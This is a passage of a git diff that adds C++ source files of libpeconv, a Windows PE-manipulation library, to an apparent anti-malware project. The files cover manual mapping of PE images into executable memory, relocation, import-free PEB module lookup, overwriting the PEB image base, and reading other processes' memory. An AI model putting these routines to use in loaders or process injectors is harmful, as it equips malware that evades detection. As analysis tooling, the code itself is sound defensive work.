b/ai_anti_malware/libpeconv/libpeconv/src/pe_raw_to_virtual.cpp new file mode 100644 index 0000000..06d90fc --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/pe_raw_to_virtual.cpp @@ -0,0 +1,140 @@ +#include "peconv/pe_raw_to_virtual.h" + +#include "peconv/util.h" +#include "peconv/pe_hdrs_helper.h" + +#include + +using namespace peconv; + +// Map raw PE into virtual memory of local process: +bool sections_raw_to_virtual(IN const BYTE* payload, IN SIZE_T payloadSize, OUT BYTE* destBuffer, IN SIZE_T destBufferSize) +{ + if (!payload || !destBuffer) return false; + + bool is64b = is64bit(payload); + + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + if (payload_nt_hdr == NULL) { + std::cerr << "Invalid payload: " << std::hex << (ULONGLONG) payload << std::endl; + return false; + } + + IMAGE_FILE_HEADER *fileHdr = NULL; + DWORD hdrsSize = 0; + LPVOID secptr = NULL; + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*)payload_nt_hdr; + fileHdr = &(payload_nt_hdr64->FileHeader); + hdrsSize = payload_nt_hdr64->OptionalHeader.SizeOfHeaders; + secptr = (LPVOID)((ULONGLONG)&(payload_nt_hdr64->OptionalHeader) + fileHdr->SizeOfOptionalHeader); + } + else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*)payload_nt_hdr; + fileHdr = &(payload_nt_hdr32->FileHeader); + hdrsSize = payload_nt_hdr32->OptionalHeader.SizeOfHeaders; + secptr = (LPVOID)((ULONGLONG)&(payload_nt_hdr32->OptionalHeader) + fileHdr->SizeOfOptionalHeader); + } + + DWORD first_raw = 0; + //copy all the sections, one by one: + SIZE_T raw_end = 0; + for (WORD i = 0; i < fileHdr->NumberOfSections; i++) { + PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i)); + if (!validate_ptr((const LPVOID)payload, destBufferSize, next_sec, IMAGE_SIZEOF_SECTION_HEADER)) { + return false; + } + if (next_sec->PointerToRawData == 0 || next_sec->SizeOfRawData == 0) { + continue; //skipping empty + } + LPVOID section_mapped = destBuffer + next_sec->VirtualAddress; + LPVOID section_raw_ptr = (BYTE*)payload + next_sec->PointerToRawData; + SIZE_T sec_size = next_sec->SizeOfRawData; + raw_end = next_sec->SizeOfRawData + next_sec->PointerToRawData; + + if ((next_sec->VirtualAddress + sec_size) > destBufferSize) { + std::cerr << "[!] Virtual section size is out ouf bounds: " << std::hex << sec_size << std::endl; + sec_size = (destBufferSize > next_sec->VirtualAddress) ? SIZE_T(destBufferSize - next_sec->VirtualAddress) : 0; + std::cerr << "[!] Truncated to maximal size: " << std::hex << sec_size << ", buffer size:" << destBufferSize << std::endl; + } + if (next_sec->VirtualAddress >= destBufferSize && sec_size != 0) { + std::cerr << "[-] VirtualAddress of section is out ouf bounds: " << std::hex << next_sec->VirtualAddress << std::endl; + return false; + } + if (next_sec->PointerToRawData + sec_size > destBufferSize) { + std::cerr << "[-] Raw section size is out ouf bounds: " << std::hex << sec_size << std::endl; + return false; + } + // validate source: + if (!validate_ptr((const LPVOID)payload, payloadSize, section_raw_ptr, sec_size)) { + std::cerr << "[-] Section " << i << ": out ouf bounds, skipping... " << std::endl; + continue; + } + // validate destination: + if (!peconv::validate_ptr(destBuffer, destBufferSize, section_mapped, sec_size)) { + std::cerr << "[-] Section " << i << ": out ouf bounds, skipping... " << std::endl; + continue; + } + memcpy(section_mapped, section_raw_ptr, sec_size); + if (first_raw == 0 || (next_sec->PointerToRawData < first_raw)) { + first_raw = next_sec->PointerToRawData; + } + } + + //copy payload's headers: + if (hdrsSize == 0) { + hdrsSize= first_raw; +#ifdef _DEBUG + std::cout << "hdrsSize not filled, using calculated size: " << std::hex << hdrsSize << "\n"; +#endif + } + if (!validate_ptr((const LPVOID)payload, destBufferSize, (const LPVOID)payload, hdrsSize)) { + return false; + } + memcpy(destBuffer, payload, hdrsSize); + return true; +} + +BYTE* peconv::pe_raw_to_virtual( + IN const BYTE* payload, + IN size_t in_size, + OUT size_t &out_size, + IN OPTIONAL bool executable, + IN OPTIONAL ULONGLONG desired_base +) +{ + //check payload: + BYTE* nt_hdr = get_nt_hdrs(payload); + if (nt_hdr == NULL) { + std::cerr << "Invalid payload: " << std::hex << (ULONGLONG) payload << std::endl; + return nullptr; + } + DWORD payloadImageSize = 0; + + bool is64 = is64bit(payload); + if (is64) { + IMAGE_NT_HEADERS64* payload_nt_hdr = (IMAGE_NT_HEADERS64*)nt_hdr; + payloadImageSize = payload_nt_hdr->OptionalHeader.SizeOfImage; + } + else { + IMAGE_NT_HEADERS32* payload_nt_hdr = (IMAGE_NT_HEADERS32*)nt_hdr; + payloadImageSize = payload_nt_hdr->OptionalHeader.SizeOfImage; + } + + DWORD protect = executable ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE; + + //first we will prepare the payload image in the local memory, so that it will be easier to edit it, apply relocations etc. + //when it will be ready, we will copy it into the space reserved in the target process + BYTE* localCopyAddress = alloc_pe_buffer(payloadImageSize, protect, desired_base); + if (localCopyAddress == NULL) { + std::cerr << "Could not allocate memory in the current process" << std::endl; + return NULL; + } + //printf("Allocated local memory: %p size: %x\n", localCopyAddress, payloadImageSize); + if (!sections_raw_to_virtual(payload, in_size, (BYTE*)localCopyAddress, payloadImageSize)) { + std::cerr << "Could not copy PE file" << std::endl; + return NULL; + } + out_size = payloadImageSize; + return localCopyAddress; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/pe_virtual_to_raw.cpp b/ai_anti_malware/libpeconv/libpeconv/src/pe_virtual_to_raw.cpp new file mode 100644 index 0000000..72670bb --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/pe_virtual_to_raw.cpp @@ -0,0 +1,213 @@ +#include "peconv/pe_virtual_to_raw.h" + +#include "peconv/util.h" +#include "peconv/pe_hdrs_helper.h" +#include "peconv/relocate.h" + +#include + +using namespace peconv; + +bool sections_virtual_to_raw(BYTE* payload, SIZE_T payload_size, OUT BYTE* destAddress, OUT SIZE_T *raw_size_ptr) +{ + if (!payload || !destAddress) return false; + + bool is64b = is64bit(payload); + + BYTE* payload_nt_hdr = get_nt_hdrs(payload); + if (payload_nt_hdr == NULL) { + std::cerr << "Invalid payload: " << std::hex << (ULONGLONG) payload << std::endl; + return false; + } + + IMAGE_FILE_HEADER *fileHdr = NULL; + DWORD hdrsSize = 0; + LPVOID secptr = NULL; + if (is64b) { + IMAGE_NT_HEADERS64* payload_nt_hdr64 = (IMAGE_NT_HEADERS64*) payload_nt_hdr; + fileHdr = &(payload_nt_hdr64->FileHeader); + hdrsSize = payload_nt_hdr64->OptionalHeader.SizeOfHeaders; + secptr = (LPVOID)((ULONGLONG)&(payload_nt_hdr64->OptionalHeader) + fileHdr->SizeOfOptionalHeader); + } else { + IMAGE_NT_HEADERS32* payload_nt_hdr32 = (IMAGE_NT_HEADERS32*) payload_nt_hdr; + fileHdr = &(payload_nt_hdr32->FileHeader); + hdrsSize = payload_nt_hdr32->OptionalHeader.SizeOfHeaders; + secptr = (LPVOID)((ULONGLONG)&(payload_nt_hdr32->OptionalHeader) + fileHdr->SizeOfOptionalHeader); + } + + //copy all the sections, one by one: +#ifdef _DEBUG + std::cout << "Coping sections:" << std::endl; +#endif + DWORD first_raw = 0; + SIZE_T raw_end = hdrsSize; + for (WORD i = 0; i < fileHdr->NumberOfSections; i++) { + PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i)); + if (!validate_ptr(payload, payload_size, next_sec, IMAGE_SIZEOF_SECTION_HEADER)) { + return false; + } + + LPVOID section_mapped = (BYTE*) payload + next_sec->VirtualAddress; + LPVOID section_raw_ptr = destAddress + next_sec->PointerToRawData; + SIZE_T sec_size = next_sec->SizeOfRawData; + + size_t new_end = sec_size + next_sec->PointerToRawData; + if (new_end > raw_end) raw_end = new_end; + + if ((next_sec->VirtualAddress + sec_size) > payload_size) { + std::cerr << "[!] Virtual section size is out ouf bounds: " << std::hex << sec_size << std::endl; + sec_size = (payload_size > next_sec->VirtualAddress) ? SIZE_T(payload_size - next_sec->VirtualAddress) : 0; + std::cerr << "[!] Truncated to maximal size: " << std::hex << sec_size << ", buffer size: " << payload_size << std::endl; + } + if (next_sec->VirtualAddress > payload_size && sec_size != 0) { + std::cerr << "[-] VirtualAddress of section is out ouf bounds: " << std::hex << next_sec->VirtualAddress << std::endl; + return false; + } + if (next_sec->PointerToRawData + sec_size > payload_size) { + std::cerr << "[-] Raw section size is out ouf bounds: " << std::hex << sec_size << std::endl; + return false; + } +#ifdef _DEBUG + std::cout << "[+] " << next_sec->Name << " to: " << std::hex << section_raw_ptr << std::endl; +#endif + //validate source: + if (!peconv::validate_ptr(payload, payload_size, section_mapped, sec_size)) { + std::cerr << "[-] Section " << i << ": out ouf bounds, skipping... " << std::endl; + continue; + } + //validate destination: + if (!peconv::validate_ptr(destAddress, payload_size, section_raw_ptr, sec_size)) { + std::cerr << "[-] Section " << i << ": out ouf bounds, skipping... " << std::endl; + continue; + } + memcpy(section_raw_ptr, section_mapped, sec_size); + if (first_raw == 0 || (next_sec->PointerToRawData < first_raw)) { + first_raw = next_sec->PointerToRawData; + } + } + if (raw_end > payload_size) raw_end = payload_size; + if (raw_size_ptr != NULL) { + (*raw_size_ptr) = raw_end; + } + + //copy payload's headers: + if (hdrsSize == 0) { + hdrsSize = first_raw; +#ifdef _DEBUG + std::cout << "hdrsSize not filled, using calculated size: " << std::hex << hdrsSize << "\n"; +#endif + } + if (!validate_ptr(payload, payload_size, payload, hdrsSize)) { + return false; + } + memcpy(destAddress, payload, hdrsSize); + return true; +} + +BYTE* peconv::pe_virtual_to_raw( + IN BYTE* payload, + IN size_t in_size, + IN ULONGLONG loadBase, + OUT size_t &out_size, + IN OPTIONAL bool rebuffer +) +{ + BYTE* out_buf = (BYTE*)alloc_pe_buffer(in_size, PAGE_READWRITE); + if (out_buf == NULL) return NULL; //could not allocate output buffer + + BYTE* in_buf = payload; + if (rebuffer) { + in_buf = (BYTE*) alloc_pe_buffer(in_size, PAGE_READWRITE); + if (in_buf == NULL) { + free_pe_buffer(out_buf, in_size); + return NULL; + } + memcpy(in_buf, payload, in_size); + } + + ULONGLONG oldBase = get_image_base(in_buf); + bool isOk = true; + // from the loadBase go back to the original base + if (!relocate_module(in_buf, in_size, oldBase, loadBase)) { + //Failed relocating the module! Changing image base instead... + if (!update_image_base(in_buf, (ULONGLONG)loadBase)) { + std::cerr << "[-] Failed relocating the module!" << std::endl; + isOk = false; + } else { +#ifdef _DEBUG + std::cerr << "[!] WARNING: The module could not be relocated, so the ImageBase has been changed instead!" << std::endl; +#endif + } + } + SIZE_T raw_size = 0; + if (isOk) { + if (!sections_virtual_to_raw(in_buf, in_size, out_buf, &raw_size)) { + isOk = false; + } + } + if (rebuffer && in_buf != NULL) { + free_pe_buffer(in_buf, in_size); + in_buf = NULL; + } + if (!isOk) { + free_pe_buffer(out_buf, in_size); + out_buf = NULL; + raw_size = 0; + } + out_size = raw_size; + return out_buf; +} + +BYTE* peconv::pe_realign_raw_to_virtual( + IN const BYTE* payload, + IN size_t in_size, + IN ULONGLONG loadBase, + OUT size_t &out_size +) +{ + out_size = in_size; + BYTE* out_buf = (BYTE*)alloc_pe_buffer(out_size, PAGE_READWRITE); + if (!out_buf) { + out_size = 0; + return nullptr; + } + memcpy(out_buf, payload, in_size); + + ULONGLONG oldBase = get_image_base(out_buf); + bool isOk = true; + // from the loadBase go back to the original base + if (!relocate_module(out_buf, out_size, oldBase, loadBase)) { + //Failed relocating the module! Changing image base instead... + if (!update_image_base(out_buf, (ULONGLONG)loadBase)) { + std::cerr << "[-] Failed relocating the module!" << std::endl; + isOk = false; + } else { +#ifdef _DEBUG + std::cerr << "[!] WARNING: The module could not be relocated, so the ImageBase has been changed instead!" << std::endl; +#endif + } + } + //--- + //set raw alignment the same as virtual + DWORD v_alignment = peconv::get_sec_alignment((const PBYTE)payload, false); + if (!peconv::set_sec_alignment(out_buf, true, v_alignment)) { + isOk = false; + } + //set Raw pointers and sizes of the sections same as Virtual + size_t sections_count = peconv::get_sections_count(out_buf, out_size); + for (size_t i = 0; i < sections_count; i++) { + PIMAGE_SECTION_HEADER sec = peconv::get_section_hdr(out_buf, out_size, i); + if (!sec) break; + + sec->Misc.VirtualSize = peconv::get_virtual_sec_size(out_buf, sec, true); + sec->SizeOfRawData = sec->Misc.VirtualSize; + sec->PointerToRawData = sec->VirtualAddress; + } + //!--- + if (!isOk) { + free_pe_buffer(out_buf); + out_buf = nullptr; + out_size = 0; + } + return out_buf; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/peb_lookup.cpp b/ai_anti_malware/libpeconv/libpeconv/src/peb_lookup.cpp new file mode 100644 index 0000000..c58aa1a --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/peb_lookup.cpp @@ -0,0 +1,178 @@ +#include "ntddk.h" + +#include + +class SectionLocker { +public: + SectionLocker(RTL_CRITICAL_SECTION &_section) + : section(_section) + { + RtlEnterCriticalSection(§ion); + } + + ~SectionLocker() + { + RtlLeaveCriticalSection(§ion); + } + +protected: + RTL_CRITICAL_SECTION §ion; +}; + +//here we don't want to use any functions imported form extenal modules + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList;// +0x00 + LIST_ENTRY InMemoryOrderModuleList;// +0x08 + LIST_ENTRY InInitializationOrderModuleList;// +0x10 + void* BaseAddress; // +0x18 + void* EntryPoint; // +0x1c + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + HANDLE SectionHandle; + ULONG CheckSum; + ULONG TimeDateStamp; +} LDR_MODULE, *PLDR_MODULE; + +inline PPEB get_peb() +{ +#if defined(_WIN64) + return (PPEB)__readgsqword(0x60); +#else + return (PPEB)__readfsdword(0x30); +/* +//alternative way to fetch it: + LPVOID PEB = NULL; + __asm { + mov eax, fs:[30h] + mov PEB, eax + }; + return (PPEB)PEB; + + or: + LPVOID PEB = RtlGetCurrentPeb(); +*/ +#endif +} + +inline WCHAR to_lowercase(WCHAR c1) +{ + if (c1 <= L'Z' && c1 >= L'A') { + c1 = (c1 - L'A') + L'a'; + } + return c1; +} + +bool is_wanted_module(LPWSTR curr_name, LPWSTR wanted_name) +{ + if (wanted_name == NULL || curr_name == NULL) return false; + + WCHAR *curr_end_ptr = curr_name; + while (*curr_end_ptr != L'\0') { + curr_end_ptr++; + } + if (curr_end_ptr == curr_name) return false; + + WCHAR *wanted_end_ptr = wanted_name; + while (*wanted_end_ptr != L'\0') { + wanted_end_ptr++; + } + if (wanted_end_ptr == wanted_name) return false; + + while ((curr_end_ptr != curr_name) && (wanted_end_ptr != wanted_name)) { + + if (to_lowercase(*wanted_end_ptr) != to_lowercase(*curr_end_ptr)) { + return false; + } + wanted_end_ptr--; + curr_end_ptr--; + } + return true; +} + +HMODULE peconv::get_module_via_peb(IN OPTIONAL LPWSTR module_name) +{ + PPEB peb = get_peb(); + if (!peb) { + return NULL; + } + SectionLocker locker(*peb->LoaderLock); + LIST_ENTRY head = peb->Ldr->InLoadOrderModuleList; + + const PLDR_MODULE first_module = *((PLDR_MODULE *)(&head)); + PLDR_MODULE curr_module = first_module; + if (!module_name) { + return (HMODULE)(curr_module->BaseAddress); + } + + // it is a cyclic list, so if the next record links to the initial one, it means we went throught the full loop + do { + // this should also work as a terminator, because the BaseAddress of the last module in the cycle is NULL + if (curr_module == NULL || curr_module->BaseAddress == NULL) { + break; + } + if (is_wanted_module(curr_module->BaseDllName.Buffer, module_name)) { + return (HMODULE)(curr_module->BaseAddress); + } + curr_module = (PLDR_MODULE)curr_module->InLoadOrderModuleList.Flink; + + } while (curr_module != first_module); + + return NULL; +} + +size_t peconv::get_module_size_via_peb(IN OPTIONAL HMODULE hModule) +{ + PPEB peb = get_peb(); + if (!peb) { + return 0; + } + SectionLocker locker(*peb->LoaderLock); + LIST_ENTRY head = peb->Ldr->InLoadOrderModuleList; + + const PLDR_MODULE first_module = *((PLDR_MODULE *)(&head)); + PLDR_MODULE curr_module = first_module; + if (!hModule) { + return (size_t)(curr_module->SizeOfImage); + } + + // it is a cyclic list, so if the next record links to the initial one, it means we went throught the full loop + do { + // this should also work as a terminator, because the BaseAddress of the last module in the cycle is NULL + if (curr_module == NULL || curr_module->BaseAddress == NULL) { + break; + } + if (hModule == (HMODULE)(curr_module->BaseAddress)) { + return (size_t)(curr_module->SizeOfImage); + } + curr_module = (PLDR_MODULE)curr_module->InLoadOrderModuleList.Flink; + + } while (curr_module != first_module); + + return 0; +} + +bool peconv::set_main_module_in_peb(HMODULE module_ptr) +{ + PPEB peb = get_peb(); + if (peb == NULL) { + return false; + } + SectionLocker locker(*peb->FastPebLock); + peb->ImageBaseAddress = module_ptr; + return true; +} + +HMODULE peconv::get_main_module_via_peb() +{ + PPEB peb = get_peb(); + if (peb == NULL) { + return NULL; + } + SectionLocker locker(*peb->FastPebLock); + return (HMODULE) peb->ImageBaseAddress; +} diff --git a/ai_anti_malware/libpeconv/libpeconv/src/relocate.cpp b/ai_anti_malware/libpeconv/libpeconv/src/relocate.cpp new file mode 100644 index 0000000..a401ef1 --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/relocate.cpp @@ -0,0 +1,189 @@ +#include "peconv/relocate.h" + +#include "peconv/pe_hdrs_helper.h" +#include +#include + +using namespace peconv; + +#define RELOC_32BIT_FIELD 3 +#define RELOC_64BIT_FIELD 0xA + +class ApplyRelocCallback : public RelocBlockCallback +{ +public: + ApplyRelocCallback(bool _is64bit, ULONGLONG _oldBase, ULONGLONG _newBase) + : RelocBlockCallback(_is64bit), oldBase(_oldBase), newBase(_newBase) + { + } + + virtual bool processRelocField(ULONG_PTR relocField) + { + if (is64bit) { + ULONGLONG* relocateAddr = (ULONGLONG*)((ULONG_PTR)relocField); + ULONGLONG rva = (*relocateAddr) - oldBase; + (*relocateAddr) = rva + newBase; + } + else { + DWORD* relocateAddr = (DWORD*)((ULONG_PTR)relocField); + ULONGLONG rva = ULONGLONG(*relocateAddr) - oldBase; + (*relocateAddr) = static_cast(rva + newBase); + } + return true; + } + +protected: + ULONGLONG oldBase; + ULONGLONG newBase; +}; + +bool is_empty_reloc_block(BASE_RELOCATION_ENTRY *block, SIZE_T entriesNum, DWORD page, PVOID modulePtr, SIZE_T moduleSize) +{ + if (entriesNum == 0) { + return true; // nothing to process + } + BASE_RELOCATION_ENTRY* entry = block; + for (SIZE_T i = 0; i < entriesNum; i++) { + if (!validate_ptr(modulePtr, moduleSize, entry, sizeof(BASE_RELOCATION_ENTRY))) { + return false; + } + DWORD type = entry->Type; + if (type != 0) { + //non empty block found + return false; + } + entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR)entry + sizeof(WORD)); + } + return true; +} + +bool process_reloc_block(BASE_RELOCATION_ENTRY *block, SIZE_T entriesNum, DWORD page, PVOID modulePtr, SIZE_T moduleSize, bool is64bit, RelocBlockCallback *callback) +{ + if (entriesNum == 0) { + return true; // nothing to process + } + BASE_RELOCATION_ENTRY* entry = block; + SIZE_T i = 0; + for (i = 0; i < entriesNum; i++) { + if (!validate_ptr(modulePtr, moduleSize, entry, sizeof(BASE_RELOCATION_ENTRY))) { + break; + } + DWORD offset = entry->Offset; + DWORD type = entry->Type; + if (type == 0) { + break; + } + if (type != RELOC_32BIT_FIELD && type != RELOC_64BIT_FIELD) { + if (callback) { //print debug messages only if the callback function was set + printf("[-] Not supported relocations format at %d: %d\n", (int)i, (int)type); + } + return false; + } + DWORD reloc_field = page + offset; + if (reloc_field >= moduleSize) { + if (callback) { //print debug messages only if the callback function was set + printf("[-] Malformed field: %lx\n", reloc_field); + } + return false; + } + if (callback) { + bool isOk = callback->processRelocField(((ULONG_PTR)modulePtr + reloc_field)); + if (!isOk) { + std::cout << "[-] Failed processing reloc field at: " << std::hex << reloc_field << "\n"; + return false; + } + } + entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR)entry + sizeof(WORD)); + } + return (i != 0); +} + +bool peconv::process_relocation_table(IN PVOID modulePtr, IN SIZE_T moduleSize, IN RelocBlockCallback *callback) +{ + IMAGE_DATA_DIRECTORY* relocDir = peconv::get_directory_entry((const BYTE*)modulePtr, IMAGE_DIRECTORY_ENTRY_BASERELOC); + if (relocDir == NULL) { + std::cout << "[!] WARNING: no relocation table found!\n"; + return false; + } + if (!validate_ptr(modulePtr, moduleSize, relocDir, sizeof(IMAGE_DATA_DIRECTORY))) { + std::cerr << "[!] Invalid relocDir pointer\n"; + return false; + } + DWORD maxSize = relocDir->Size; + DWORD relocAddr = relocDir->VirtualAddress; + bool is64b = is64bit((BYTE*)modulePtr); + + IMAGE_BASE_RELOCATION* reloc = NULL; + + DWORD parsedSize = 0; + DWORD validBlocks = 0; + while (parsedSize < maxSize) { + reloc = (IMAGE_BASE_RELOCATION*)(relocAddr + parsedSize + (ULONG_PTR)modulePtr); + if (!validate_ptr(modulePtr, moduleSize, reloc, sizeof(IMAGE_BASE_RELOCATION))) { + std::cerr << "[-] Invalid address of relocations\n"; + return false; + } + if (reloc->SizeOfBlock == 0) { + break; + } + size_t entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(WORD); + DWORD page = reloc->VirtualAddress; + + BASE_RELOCATION_ENTRY* block = (BASE_RELOCATION_ENTRY*)((ULONG_PTR)reloc + sizeof(DWORD) + sizeof(DWORD)); + if (!validate_ptr(modulePtr, moduleSize, block, sizeof(BASE_RELOCATION_ENTRY))) { + std::cerr << "[-] Invalid address of relocations block\n"; + return false; + } + if (!is_empty_reloc_block(block, entriesNum, page, modulePtr, moduleSize)) { + if (process_reloc_block(block, entriesNum, page, modulePtr, moduleSize, is64b, callback)) { + validBlocks++; + } + else { + // the block was malformed + return false; + } + } + parsedSize += reloc->SizeOfBlock; + } + return (validBlocks != 0); +} + +bool apply_relocations(PVOID modulePtr, SIZE_T moduleSize, ULONGLONG newBase, ULONGLONG oldBase) +{ + const bool is64b = is64bit((BYTE*)modulePtr); + ApplyRelocCallback callback(is64b, oldBase, newBase); + return process_relocation_table(modulePtr, moduleSize, &callback); +} + +bool peconv::relocate_module(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ULONGLONG newBase, IN ULONGLONG oldBase) +{ + if (modulePtr == NULL) { + return false; + } + if (oldBase == 0) { + oldBase = get_image_base(modulePtr); + } + printf("¿ªÊ¼Öض¨Î»: %p -> %p \n", oldBase, newBase); + +#ifdef _DEBUG + printf("New Base: %llx\n", newBase); + printf("Old Base: %llx\n", oldBase); +#endif + if (newBase == oldBase) { + printf("Nothing to relocate! oldBase is the same as the newBase!\n"); + return true; //nothing to relocate + } + if (apply_relocations(modulePtr, moduleSize, newBase, oldBase)) { + return true; + } +#ifdef _DEBUG + printf("Could not relocate the module!\n"); +#endif + return false; +} + +bool peconv::has_valid_relocation_table(IN const PBYTE modulePtr, IN const size_t moduleSize) +{ + return process_relocation_table(modulePtr, moduleSize, nullptr); +} + diff --git a/ai_anti_malware/libpeconv/libpeconv/src/remote_pe_reader.cpp b/ai_anti_malware/libpeconv/libpeconv/src/remote_pe_reader.cpp new file mode 100644 index 0000000..6ba6a9d --- /dev/null +++ b/ai_anti_malware/libpeconv/libpeconv/src/remote_pe_reader.cpp @@ -0,0 +1,299 @@ +#include "peconv/remote_pe_reader.h" + +#include + +#include "peconv/util.h" +#include "peconv/fix_imports.h" + +using namespace peconv; + +bool peconv::fetch_region_info(HANDLE processHandle, BYTE* moduleBase, MEMORY_BASIC_INFORMATION &page_info) +{ + memset(&page_info, 0, sizeof(MEMORY_BASIC_INFORMATION)); + SIZE_T out = VirtualQueryEx(processHandle, (LPCVOID)moduleBase, &page_info, sizeof(page_info)); + if (out != sizeof(page_info)) { + return false; + } + return true; +} + +size_t peconv::fetch_region_size(HANDLE processHandle, BYTE* moduleBase) +{ + MEMORY_BASIC_INFORMATION page_info = { 0 }; + if (!peconv::fetch_region_info(processHandle, moduleBase, page_info)) { + return 0; + } + if (page_info.Type == 0) { + return false; //invalid type, skip it + } + if ((BYTE*)page_info.BaseAddress > moduleBase) { + return 0; //should never happen + } + size_t offset = moduleBase - (BYTE*)page_info.BaseAddress; + size_t area_size = page_info.RegionSize - offset; + return area_size; +} + +ULONGLONG peconv::fetch_alloc_base(HANDLE processHandle, BYTE* moduleBase) +{ + MEMORY_BASIC_INFORMATION page_info = { 0 }; + if (!peconv::fetch_region_info(processHandle, moduleBase, page_info)) { + return 0; + } + if (page_info.Type == 0) { + return 0; //invalid type, skip it + } + return (ULONGLONG) page_info.AllocationBase; +} + +size_t peconv::read_remote_memory(HANDLE processHandle, BYTE *start_addr, OUT BYTE* buffer, const size_t buffer_size, const SIZE_T step_size) +{ + if (!buffer) { + return 0; + } + memset(buffer, 0, buffer_size); + + SIZE_T read_size = 0; + DWORD last_error = ERROR_SUCCESS; + + for (SIZE_T to_read_size = buffer_size; to_read_size > 0; to_read_size -= step_size) + { + if (ReadProcessMemory(processHandle, start_addr, buffer, to_read_size, &read_size)) { + break; + } + // is it not the first attempt? + if (last_error != ERROR_SUCCESS) { + if (read_size == 0 && (last_error != ERROR_PARTIAL_COPY)) { + last_error = GetLastError(); + break; // no progress, break + } + } + + last_error = GetLastError(); + + if ((to_read_size < step_size) || step_size == 0) { + break; + } + //otherwise, decrease the to_read_size, and try again... + } + +#ifdef _DEBUG + if (read_size == 0) { + std::cerr << "[WARNING] Cannot read memory. Last Error : " << last_error << std::endl; + } + else if (read_size < buffer_size) { + std::cerr << "[WARNING] Read size: " << std::hex << read_size + << " is smaller than the requested size: " << std::hex << buffer_size + << ". Last Error: " << last_error << std::endl; + + } +#endif + return static_cast(read_size); +} + +size_t read_remote_region(HANDLE processHandle, BYTE *start_addr, OUT BYTE* buffer, const size_t buffer_size, const SIZE_T step_size) +{ + if (buffer == nullptr) { + return 0; + } + size_t region_size = peconv::fetch_region_size(processHandle, start_addr); + if (region_size == 0) return false; + + if (region_size >= buffer_size) { + return peconv::read_remote_memory(processHandle, start_addr, buffer, buffer_size, step_size); + } + return peconv::read_remote_memory(processHandle, start_addr, buffer, region_size, step_size); +} + +size_t peconv::read_remote_area(HANDLE processHandle, BYTE *start_addr, OUT BYTE* buffer, const size_t buffer_size, const SIZE_T step_size) +{ + if (!buffer || !start_addr) { + return 0; + } + memset(buffer, 0, buffer_size); + + size_t read = 0; + for (read = 0; read < buffer_size; ) { + size_t read_chunk = read_remote_region(processHandle, start_addr + read, buffer + read, buffer_size - read, step_size); + if (read_chunk == 0) { + size_t region_size = peconv::fetch_region_size(processHandle, start_addr); + if (region_size == 0) break; + //skip the region that could not be read: + read += region_size; + continue; + } + read += read_chunk; + } + return read; +} + +bool peconv::read_remote_pe_header(HANDLE processHandle, BYTE *start_addr, OUT BYTE* buffer, const size_t buffer_size) +{ + if (buffer == nullptr) { + return false; + } + SIZE_T read_size = read_remote_memory(processHandle, start_addr, buffer, buffer_size); + if (read_size == 0) { + return false; + } + BYTE *nt_ptr = get_nt_hdrs(buffer); + if (nt_ptr == nullptr) { + return false; + } + const size_t nt_offset = nt_ptr - buffer; + const size_t nt_size = peconv::is64bit(buffer) ? sizeof(IMAGE_NT_HEADERS64) : sizeof(IMAGE_NT_HEADERS32); + const size_t min_size = nt_offset + nt_size; + + if (read_size < min_size) { + std::cerr << "[-] [" << std::dec << get_process_id(processHandle) + << " ][" << std::hex << (ULONGLONG) start_addr + << "] Read size: " << std::hex << read_size + << " is smaller that the minimal size:" << get_hdrs_size(buffer) + << std::endl; + return false; + } + //reading succeeded and the header passed the checks: + return true; +} + +namespace peconv { + inline size_t roundup_to_unit(size_t size, size_t unit) + { + if (unit == 0) { + return size; + } + size_t parts = size / unit; + if (size % unit) parts++; + return parts * unit; + } +}; + +peconv::UNALIGNED_BUF peconv::get_remote_pe_section(HANDLE processHandle, BYTE *start_addr, const size_t section_num, OUT size_t §ion_size, bool roundup) +{ + BYTE header_buffer[MAX_HEADER_SIZE] = { 0 }; + + if (!read_remote_pe_header(processHandle, start_addr, header_buffer, MAX_HEADER_SIZE)) { + return NULL; + } + PIMAGE_SECTION_HEADER section_hdr = get_section_hdr(header_buffer, MAX_HEADER_SIZE, section_num); + if (section_hdr == NULL || section_hdr->Misc.VirtualSize == 0) { + return NULL; + } + size_t buffer_size = section_hdr->Misc.VirtualSize; + if (roundup) { + DWORD va = peconv::get_sec_alignment(header_buffer, false); + if (va == 0) va = PAGE_SIZE; + buffer_size = roundup_to_unit(section_hdr->Misc.VirtualSize, va); + } + UNALIGNED_BUF module_code = peconv::alloc_unaligned(buffer_size); + if (module_code == NULL) { + return NULL; + } + size_t read_size = read_remote_memory(processHandle, start_addr + section_hdr->VirtualAddress, module_code, buffer_size); + if (read_size == 0) { + peconv::free_unaligned(module_code); + return NULL; + } + section_size = buffer_size; + return module_code; +} + +size_t peconv::read_remote_pe(const HANDLE processHandle, BYTE *start_addr, const size_t mod_size, OUT BYTE* buffer, const size_t bufferSize) +{ + if (buffer == nullptr) { + std::cerr << "[-] Invalid output buffer: NULL pointer" << std::endl; + return 0; + } + if (bufferSize < mod_size || bufferSize < MAX_HEADER_SIZE ) { + std::cerr << "[-] Invalid output buffer: too small size!" << std::endl; + return 0; + } + // read PE section by section + PBYTE hdr_buffer = buffer; + //try to read headers: + if (!read_remote_pe_header(processHandle, start_addr, hdr_buffer, MAX_HEADER_SIZE)) { + std::cerr << "[-] 